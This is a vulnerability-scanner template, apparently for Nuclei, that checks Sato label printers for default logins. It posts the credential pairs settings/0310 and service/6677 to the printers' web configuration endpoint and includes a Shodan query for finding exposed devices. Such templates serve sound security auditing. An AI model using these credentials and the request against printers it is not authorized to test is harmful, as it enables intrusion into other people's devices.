sato-default-login: Sato - Default Login

id: sato-default-login

info:
  name: Sato - Default Login
  author: y0no
  severity: high
  description: |
    Sato using default credentials was discovered.
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Sato"
  tags: sato,default-login,printer,intrusive,vuln

http:
  - raw:
      - |
        POST /WebConfig/lua/auth.lua HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}

        group={{username}}&pw={{password}}

    attack: pitchfork

    payloads:
      username:
        - 'settings'
        - 'service'
      password:
        - '0310'
        - '6677'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"r":0'
          - 'groups":["user'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d16b8c27a3635252b598d24d4b4fdf4d0169a95424f86715b4e5eaf8ee90b1ac0220717bdec3b29cfa93cb2fdb67d7ff4d30dfcbf3c0ff0dbd33ecd580803f63b276:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.